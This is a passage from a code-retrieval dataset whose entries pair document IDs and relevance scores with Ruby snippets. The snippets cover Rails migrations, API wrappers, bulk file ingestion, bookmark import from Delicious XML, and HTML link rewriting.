(Dir.glob(\"db/migrate/[0-9]*_*.rb\").grep(/\\d+_create_delayed_jobs.rb$/).first).nil?\n end", "title": "" }, { "docid": "5501dc3acf54d9e0a2027adabfa6c983", "score": "0.4832961", "text": "def copy_files(*args)\n migration_template 'migration.rb', 'db/migrate/create_finansu.rb'\n end", "title": "" }, { "docid": "85238c503405b32fb751e99d2557fcfa", "score": "0.4831648", "text": "def create_content_migration_users(user_id,migration_type,opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n :migration_type,\n :pre_attachment__name__,\n :pre_attachment__x__,\n :settings__file_url__,\n :settings__source_course_id__,\n :settings__folder_id__,\n :settings__overwrite_quizzes__,\n :settings__question_bank_id__,\n :settings__question_bank_name__,\n :date_shift_options__shift_dates__,\n :date_shift_options__old_start_date__,\n :date_shift_options__old_end_date__,\n :date_shift_options__new_start_date__,\n :date_shift_options__new_end_date__,\n :date_shift_options__day_substitutions_____x__,\n :date_shift_options__remove_dates__,\n \n ]\n\n # verify existence of params\n raise \"user_id is required\" if user_id.nil?\n raise \"migration_type is required\" if migration_type.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :user_id => user_id,\n :migration_type => migration_type\n )\n\n # resource path\n path = path_replace(\"/v1/users/{user_id}/content_migrations\",\n :user_id => user_id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_query_params(options, query_param_keys)\n\n response = mixed_request(:post, path, query_params, form_params, headers)\n ContentMigration.new(response)\n \n end", "title": "" }, { "docid": "664b657b9182c48e02ad2b6c874574e1", "score": "0.48310518", "text": "def store_full_text_content(doc)\n doc['extracted_text_tsimv'] = object.file_sets.map do |fs|\n fs.extracted_text.present? ? fs.extracted_text.content.strip : ''\n end\n end", "title": "" }, { "docid": "979c18aaac67ec115b9ce1ddfaf5b218", "score": "0.4830792", "text": "def sync_primary_file(content_at_file, st_ops_for_repo)\n puts \" - process #{ content_at_file.repo_relative_path(true) }\"\n st_ops_for_file = extract_st_ops_for_primary_file(\n content_at_file.extract_product_identity_id,\n st_ops_for_repo\n )\n\n update_primary_subtitle_marker_csv_file(\n content_at_file,\n st_ops_for_file\n )\n\n update_primary_file_level_st_sync_data(content_at_file)\n end", "title": "" }, { "docid": "eda2e0cc2a65ae2dd16b2d476251547f", "score": "0.4828614", "text": "def normalize_links \r\n# Revision.transaction do\r\n# pages.each do |page|\r\n# revision = page.current_revision\r\n# next if revision.nil? || revision.content.blank?\r\n# \r\n# content = revision.content.gsub(/<a(.*?)href=['\"]\\/([^'\"\\/]*)['\"]/mi) do |match_text|\r\n# puts \"Changing '#{$2}' to '#{Page.create_link($2)}'\"\r\n# \"<a#{$1}href=\\\"/#{create_link($2)}\\\"\"\r\n# end \r\n# if content != revision.content\r\n# revision.content = content\r\n# revision.save!\r\n# end\r\n# end\r\n# end\r\n end", "title": "" }, { "docid": "0ccefc5d9e5019ac24f076a13458c12c", "score": "0.48244044", "text": "def migrate_lots_of_theses(path_to_fox, path_to_foxdone, contentpath, collection_mapping_doc_path, user)\r\nputs \"doing a bulk migration\"\r\nfname = \"tally.txt\"\r\n# tname = \"tracking.txt\" PUT THIS IN MIGRATE_THESIS TO GET TITLE \r\n# could really do with a file to list what its starting work on as a debug tool\r\n# trackingfile = File.open(tname, \"a\")\r\ntallyfile = File.open(fname, \"a\")\r\nDir.foreach(path_to_fox)do |item|\t\r\n\t# we dont want to try and act on the current and parent directories\r\n\tnext if item == '.' or item == '..'\r\n\t# trackingfile.puts(\"now working on \" + item)\r\n\titempath = path_to_fox + \"/\" + item\r\n\t# migrate_thesis(itempath,collection_mapping_doc_path)\r\n\tresult = 2 # so this wont do the actions required if it isnt reset\r\n\tbegin\r\n\t\tresult = migrate_thesis(itempath,contentpath,collection_mapping_doc_path,user)\r\n\trescue\r\n\t\tresult = 1\t\r\n\t\ttallyfile.puts(\"rescue says FAILED TO INGEST \"+ itempath) \r\n\tend\r\n\tif result == 0\r\n\t\ttallyfile.puts(\"ingested \" + itempath)\r\n\t\t#sleep 10 # wait 10 seconds to try to resolve 'exception rentered (fatal)' (possible threading?) problems\r\n\t\tFileUtils.mv(itempath, path_to_foxdone + \"/\" + item) # move files once migrated\r\n\telsif result == 1 # this may well not work, as it may stop part way through before it ever gets here. rescue block might help?\r\n\t\ttallyfile.puts(\"FAILED TO INGEST \"+ itempath)\r\n\t\tsleep 10 # wait 10 seconds to try to resolve 'exception rentered (fatal)' (possible threading?) problems\r\n\telse\r\n tallyfile.puts(\" didnt return expected value of 0 or 1 \")\t\r\n\tend\r\nend\r\ntallyfile.close\r\n# trackingfile.close\r\nend", "title": "" }, { "docid": "3e5f4a48c8dffa6d5d7599102dd2aa63", "score": "0.48218596", "text": "def xref_urls; end", "title": "" }, { "docid": "a0306ded4ca08a1db277074860b0979b", "score": "0.48202315", "text": "def which_should_for_example_extract(content, file)\n @content_and_file_examples << [content,file[:from]]\n end", "title": "" }, { "docid": "631e1806c8c6df705a58f6fb1354c1b6", "score": "0.48172018", "text": "def post_import_tasks\n end", "title": "" }, { "docid": "07b063c2f548b86a30d3b678133a8e97", "score": "0.48160297", "text": "def up\n add_column :jira_connect_installations, :instance_url, :text\n end", "title": "" }, { "docid": "b9afb4997f535b86a0bedb8fc2bc2b4f", "score": "0.48124605", "text": "def change\n add_column :packages_debian_project_distributions, :signed_file, :text\n add_column :packages_debian_project_distributions, :signed_file_store, :integer, limit: 2, default: 1, null: false\n end", "title": "" }, { "docid": "84b1f1c040276f788c09a6e63fff21c4", "score": "0.48098743", "text": "def add_content_to_file(file_path, content)\n \n end", "title": "" }, { "docid": "fe70890f26d64ad80b647db2d2b24438", "score": "0.480803", "text": "def uploadWiki(wiki_url,file_content,project_name,file_title)\n begin\n response = RestClient.put(wiki_url, { :wiki_page => {\n :text => file_content # wiki_text # original wiki text\n }\n })\n rescue RestClient::BadGateway => bg\n p \"The following exception typically means that the targeted wiki page is actually a redirection to another page.\"\n raise bg\n\n end\n end", "title": "" }, { "docid": "691638fafeff2251361c62ca495a0d7c", "score": "0.48047918", "text": "def publish\n @content = Content.find(params[:id])\n# case @content.type\n# when \"Chapter\"\n# url = \"#{Rails.root.to_s}/public/archives/#{@content.board.name}_#{@content.content_year.name}/#{@content.subject.name}\"\n# when \"Topic\"\n# url = \"#{Rails.root.to_s}/public/archives/#{@content.board.name}_#{@content.content_year.name}/#{@content.subject.name}/#{@content.chapter.name}\"\n# when \"SubTopic\"\n# url = \"#{Rails.root.to_s}/public/archives/#{@content.board.name}_#{@content.content_year.name}/#{@content.subject.name}/#{@content.chapter.name}/#{@content.topic.name}\"\n# end\n# path_url = @content.type == \"Assessment\"? @content.asset.url : @content.assets.first.url\n# file = File.expand_path(\"..\",Rails.root.to_s+\"/public/\"+path_url.to_s)\n# FileUtils.cp_r file,url\n#updated_index_xml(@content)\n#@content.update_attribute(:status,4)\n if @content.type.eql?(\"Chapter\") or @content.type.eql?(\"Topic\") or @content.type.eql?(\"SubTopic\") or @content.type.eql?(\"AssessmentHomeWork\")\n redirect_to publish_content_teacher_path(@content)\n elsif @content.type?(\"Assessment\")\n redirect_to assessment_test_configuration_path(@content)\n end\n end", "title": "" }, { "docid": "9065cc90fa826a2790b4df0368f972d9", "score": "0.48039278", "text": "def copy_migrations\n migrations = [[\"20131018214212_create_repository_manager.rb\",\"create_repository_manager.rb\"]\n ]\n migrations.each do |migration|\n migration_template \"../../../../db/migrate/\" + migration[0], \"db/migrate/\" + migration[1]\n end\n end", "title": "" }, { "docid": "0c55f84f4f27050e538fc8582533df1b", "score": "0.47988623", "text": "def import_from_delicious_xml(xml_file)\n # work this out\n xml_stuff = nil\n begin\n xml_stuff = Hpricot(xml_file)\n rescue\n logger.info(\"Hpricot doesn't like this. this is not xml\")\n end\n if xml_stuff\n if (((xml_stuff/\"posts\") != nil) && ((xml_stuff/\"posts\").size > 0)) # hooray delicious format ?\n (xml_stuff/\"posts\"/\"post\").each do |post|\n \n # let's check if the url is already in the db\n # but first we need to check if there is http:// in there\n url = post[\"href\"]\n if ((post[\"href\"] =~ /^http:\\/\\//) || (post[\"href\"] =~ /^https:\\/\\//))\n else\n url = \"http://\" + post[\"href\"]\n end\n link = Link.find_by_url(url) || nil\n # not found must create\n if !link\n link = Link.new(:url => url)\n logger.info(\"link #{url} added\")\n link.save\n end\n\n # now taking care of the bookmark\n if link.users.include?(self)\n # already in\n else\n new_bookmark = Bookmark.new(:title => post['description'], :link_id => link.id, :user_id => self.id, :bookmarked_at => DateTime.parse(post['time']))\n new_bookmark.tag_list = post['tag'].gsub(\" \",\", \")\n if new_bookmark.save\n logger.info(\"bookmark for #{url} added\")\n else\n logger.warn(\"Error : could not save the new bookmark\")\n end\n end \n end\n end\n end\n end", "title": "" }, { "docid": "27443fbf49418b154c990519a0ee88e9", "score": "0.47985268", "text": "def adapt_content(content, site_url)\n if content\n\n parsed_content = Nokogiri::HTML.fragment(content)\n\n # remove scripts\n parsed_content.css('script').each do |node|\n node.unlink\n end\n\n # inline noscripts contents\n parsed_content.css('noscript').each do |node|\n node.elements.each do |sub|\n node.add_next_sibling sub\n end\n node.unlink\n end\n\n uri = Addressable::URI.parse(site_url)\n\n # make links absolutes\n parsed_content.search('img[@src],frame[@src],embed[@src]').each do |i|\n i['src'] = uri.join(i['src']).normalize.to_s\n end\n\n parsed_content.search('a[@href]').each do |a|\n # not for internal links\n unless a['href'].index('#') == 0\n a['href'] = uri.join(a['href']).normalize.to_s\n end\n end\n\n parsed_content.to_s\n end\n end", "title": "" }, { "docid": "4b08267a57ec23f5a828c6525d516c3d", "score": "0.4789299", "text": "def import_from_delicious_xml(xml_file)\n # work this out\n xml_stuff = nil\n begin\n xml_stuff = Hpricot(xml_file)\n rescue\n logger.info(\"Hpricot doesn't like this. this is not xml\")\n end\n if xml_stuff\n if (((xml_stuff/\"posts\") != nil) && ((xml_stuff/\"posts\").size > 0)) # hooray delicious format ?\n (xml_stuff/\"posts\"/\"post\").each do |post|\n \n # let's check if the url is already in the db\n # but first we need to check if there is http:// in there\n url = post[\"href\"]\n if post[\"href\"] =~ /^http:\\/\\//\n else\n url = \"http://\" + post[\"href\"]\n end\n link = Link.find_by_url(url) || nil\n # not found must create\n if !link\n link = Link.new(:url => url)\n logger.info(\"link #{url} added\")\n link.save\n end\n\n # now taking care of the bookmark\n if link.users.include?(self)\n # already in\n else\n new_bookmark = Bookmark.new(:title => post['description'], :link_id => link.id, :user_id => self.id, :bookmarked_at => DateTime.parse(post['time']))\n new_bookmark.tag_list = post['tag'].gsub(\" \",\", \")\n if new_bookmark.save\n logger.info(\"bookmark for #{url} added\")\n else\n logger.warn(\"Error : could not save the new bookmark\")\n end\n end \n end\n end\n end\n end", "title": "" }, { "docid": "86bde6155655253b4b6aea17e96e88d9", "score": "0.47851184", "text": "def migrate(version = nil)\n @logger.fine('Running web migrations...')\n super(File.join(Automation::FRAMEWORK_ROOT, Automation::FET_DIR, 'web/database/migrations'), version)\n end", "title": "" }, { "docid": "694aaa29dda4425c488c23ea33551ce4", "score": "0.4777407", "text": "def generate_files\n puts 'BetterDataMigration::Setup invoked'\n puts \"Creating table-migration for Rails#{migration_version}\"\n migration_template 'table_migration.rb', \"db/migrate/#{name}.rb\"\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "48ced90d32c35c88ece0e9d4bb429dd5", "score": "0.0", "text": "def set_time_table\n @time_table = TimeTable.find(params[:id])\n end", "title": "" } ]
[ { "docid": "bd89022716e537628dd314fd23858181", "score": "0.6165094", "text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "title": "" }, { "docid": "3db61e749c16d53a52f73ba0492108e9", "score": "0.60450804", "text": "def action_hook; end", "title": "" }, { "docid": "b8b36fc1cfde36f9053fe0ab68d70e5b", "score": "0.5944413", "text": "def run_actions; end", "title": "" }, { "docid": "3e521dbc644eda8f6b2574409e10a4f8", "score": "0.5915806", "text": "def define_action_hook; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58885634", "text": "def actions; end", "title": "" }, { "docid": "bfb8386ef5554bfa3a1c00fa4e20652f", "score": "0.5835225", "text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "title": "" }, { "docid": "6c8e66d9523b9fed19975542132c6ee4", "score": "0.5775847", "text": "def add_actions; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5700531", "text": "def callbacks; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5700531", "text": "def callbacks; end", "title": "" }, { "docid": "6ce8a8e8407572b4509bb78db9bf8450", "score": "0.56543404", "text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "title": "" }, { "docid": "1964d48e8493eb37800b3353d25c0e57", "score": "0.56209993", "text": "def define_action_helpers; end", "title": "" }, { "docid": "5df9f7ffd2cb4f23dd74aada87ad1882", "score": "0.54238355", "text": "def post_setup\n end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5410386", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5410386", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5410386", "text": "def action_methods; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5394892", "text": "def before_setup; end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.5377769", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.53559244", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "0464870c8688619d6c104d733d355b3b", "score": "0.5339896", "text": "def define_action_helpers?; end", "title": "" }, { "docid": "0e7bdc54b0742aba847fd259af1e9f9e", "score": "0.53388095", "text": "def set_actions\n actions :all\n end", "title": "" }, { "docid": "5510330550e34a3fd68b7cee18da9524", "score": "0.5330087", "text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "title": "" }, { "docid": "97c8901edfddc990da95704a065e87bc", "score": "0.5311993", "text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "title": "" }, { "docid": "4f9a284723e2531f7d19898d6a6aa20c", "score": "0.5297402", "text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "title": "" }, { "docid": "210e0392ceaad5fc0892f1335af7564b", "score": "0.5296789", "text": "def setup_handler\n end", "title": "" }, { "docid": "83684438c0a4d20b6ddd4560c7683115", "score": "0.52957207", "text": "def before_actions(*logic)\n self.before_actions = logic\n end", "title": "" }, { "docid": "a997ba805d12c5e7f7c4c286441fee18", "score": "0.52596015", "text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "1d50ec65c5bee536273da9d756a78d0d", "score": "0.5245442", "text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5237084", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5237084", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5237084", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5237084", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5237084", "text": "def action; end", "title": "" }, { "docid": "e34cc2a25e8f735ccb7ed8361091c83e", "score": "0.5235431", "text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "title": "" }, { "docid": "635288ac8dd59f85def0b1984cdafba0", "score": "0.5231888", "text": "def workflow\n end", "title": "" }, { "docid": "78b21be2632f285b0d40b87a65b9df8c", "score": "0.5226663", "text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52220625", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "923ee705f0e7572feb2c1dd3c154b97c", "score": "0.5217086", "text": "def process_action(...)\n send_action(...)\n end", "title": "" }, { "docid": "b89a3908eaa7712bb5706478192b624d", "score": "0.52137345", "text": "def before_dispatch(env); end", "title": "" }, { "docid": "d89a3e408ab56bf20bfff96c63a238dc", "score": "0.5208314", "text": "def setup\n # override and do something appropriate\n end", "title": "" }, { "docid": "7115b468ae54de462141d62fc06b4190", "score": "0.5205469", "text": "def after_actions(*logic)\n self.after_actions = logic\n end", "title": "" }, { "docid": "62c402f0ea2e892a10469bb6e077fbf2", "score": "0.5175606", "text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "title": "" }, { "docid": "72ccb38e1bbd86cef2e17d9d64211e64", "score": "0.5174914", "text": "def setup(_context)\n end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.5173361", "text": "def setup(resources) ; end", "title": "" }, { "docid": "1fd817f354d6cb0ff1886ca0a2b6cce4", "score": "0.51662856", "text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "title": "" }, { "docid": "5531df39ee7d732600af111cf1606a35", "score": "0.5161792", "text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "title": "" }, { "docid": "bb6aed740c15c11ca82f4980fe5a796a", "score": "0.51572216", "text": "def determine_valid_action\n\n end", "title": "" }, { "docid": "199fce4d90958e1396e72d961cdcd90b", "score": "0.5153063", "text": "def startcompany(action)\n @done = true\n action.setup\n end", "title": "" }, { "docid": "b38f9d83c26fd04e46fe2c961022ff86", "score": "0.5152982", "text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "title": "" }, { "docid": "994d9fe4eb9e2fc503d45c919547a327", "score": "0.5152632", "text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "title": "" }, { "docid": "62fabe9dfa2ec2ff729b5a619afefcf0", "score": "0.51435786", "text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.5139829", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "adb8115fce9b2b4cb9efc508a11e5990", "score": "0.51346594", "text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.511372", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.511372", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "e1dd18cf24d77434ec98d1e282420c84", "score": "0.51136476", "text": "def setup(&block)\n define_method(:setup, &block)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.51083213", "text": "def action\n end", "title": "" }, { "docid": "f54964387b0ee805dbd5ad5c9a699016", "score": "0.5108011", "text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "title": "" }, { "docid": "35b302dd857a031b95bc0072e3daa707", "score": "0.5091935", "text": "def config(action, *args); end", "title": "" }, { "docid": "bc3cd61fa2e274f322b0b20e1a73acf8", "score": "0.5089297", "text": "def setup\n @setup_proc.call(self) if @setup_proc\n end", "title": "" }, { "docid": "5c3cfcbb42097019c3ecd200acaf9e50", "score": "0.5081576", "text": "def before_action \n end", "title": "" }, { "docid": "246840a409eb28800dc32d6f24cb1c5e", "score": "0.50807106", "text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "title": "" }, { "docid": "dfbcf4e73466003f1d1275cdf58a926a", "score": "0.50656676", "text": "def action\n end", "title": "" }, { "docid": "36eb407a529f3fc2d8a54b5e7e9f3e50", "score": "0.50548106", "text": "def matt_custom_action_begin(label); end", "title": "" }, { "docid": "b6c9787acd00c1b97aeb6e797a363364", "score": "0.50537366", "text": "def setup\n # override this if needed\n end", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.505074", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.505074", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "fd421350722a26f18a7aae4f5aa1fc59", "score": "0.5033361", "text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "title": "" }, { "docid": "d02030204e482cbe2a63268b94400e71", "score": "0.5025158", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "title": "" }, { "docid": "4224d3231c27bf31ffc4ed81839f8315", "score": "0.5020441", "text": "def after(action)\n invoke_callbacks *options_for(action).after\n end", "title": "" }, { "docid": "24506e3666fd6ff7c432e2c2c778d8d1", "score": "0.5015611", "text": "def pre_task\n end", "title": "" }, { "docid": "0c16dc5c1875787dacf8dc3c0f871c53", "score": "0.50142473", "text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "title": "" }, { "docid": "0cff1d3b3041b56ce3773d6a8d6113f2", "score": "0.5000281", "text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "title": "" }, { "docid": "c99a12c5761b742ccb9c51c0e99ca58a", "score": "0.50001067", "text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "title": "" }, { "docid": "791f958815c2b2ac16a8ca749a7a822e", "score": "0.49989453", "text": "def setup_signals; end", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.4989465", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.4989465", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "5aa51b20183964c6b6f46d150b0ddd79", "score": "0.4985425", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "title": "" }, { "docid": "7647b99591d6d687d05b46dc027fbf23", "score": "0.49805096", "text": "def initialize(*args)\n super\n @action = :set\nend", "title": "" }, { "docid": "2a2b0a113a73bf29d5eeeda0443796ec", "score": "0.49795893", "text": "def setup\n #implement in subclass;\n end", "title": "" }, { "docid": "67e7767ce756766f7c807b9eaa85b98a", "score": "0.49783278", "text": "def after_set_callback; end", "title": "" }, { "docid": "63e628f34f3ff34de8679fb7307c171c", "score": "0.49676263", "text": "def lookup_action; end", "title": "" }, { "docid": "a5294693c12090c7b374cfa0cabbcf95", "score": "0.49656346", "text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "title": "" }, { "docid": "57dbfad5e2a0e32466bd9eb0836da323", "score": "0.49579078", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "5b6d613e86d3d68152f7fa047d38dabb", "score": "0.4955427", "text": "def release_actions; end", "title": "" }, { "docid": "4aceccac5b1bcf7d22c049693b05f81c", "score": "0.49554235", "text": "def around_hooks; end", "title": "" }, { "docid": "64e0f1bb6561b13b482a3cc8c532cc37", "score": "0.49536413", "text": "def setup(easy)\n super\n easy.customrequest = @verb\n end", "title": "" }, { "docid": "2318410efffb4fe5fcb97970a8700618", "score": "0.49523768", "text": "def save_action; end", "title": "" }, { "docid": "fbd0db2e787e754fdc383687a476d7ec", "score": "0.49457142", "text": "def action_target()\n \n end", "title": "" }, { "docid": "b280d59db403306d7c0f575abb19a50f", "score": "0.49433607", "text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "title": "" }, { "docid": "9f7547d93941fc2fcc7608fdf0911643", "score": "0.4933641", "text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "title": "" }, { "docid": "da88436fe6470a2da723e0a1b09a0e80", "score": "0.49320185", "text": "def before_setup\n # do nothing by default\n end", "title": "" }, { "docid": "3ba85f3cb794f951b05d5907f91bd8ad", "score": "0.49265638", "text": "def setup(&blk)\n @setup_block = blk\n end", "title": "" }, { "docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3", "score": "0.49262375", "text": "def default_action; end", "title": "" }, { "docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd", "score": "0.49259067", "text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "title": "" }, { "docid": "80834fa3e08bdd7312fbc13c80f89d43", "score": "0.4922456", "text": "def callback_phase\n super\n end", "title": "" }, { "docid": "f1da8d654daa2cd41cb51abc7ee7898f", "score": "0.49201223", "text": "def advice\n end", "title": "" }, { "docid": "99a608ac5478592e9163d99652038e13", "score": "0.49165115", "text": "def _handle_action_missing(*args); end", "title": "" }, { "docid": "6e0842ade69d031131bf72e9d2a8c389", "score": "0.49158815", "text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "title": "" }, { "docid": "0fe8b3b5573f8eb57ec1752658a62e4e", "score": "0.49151883", "text": "def call\n 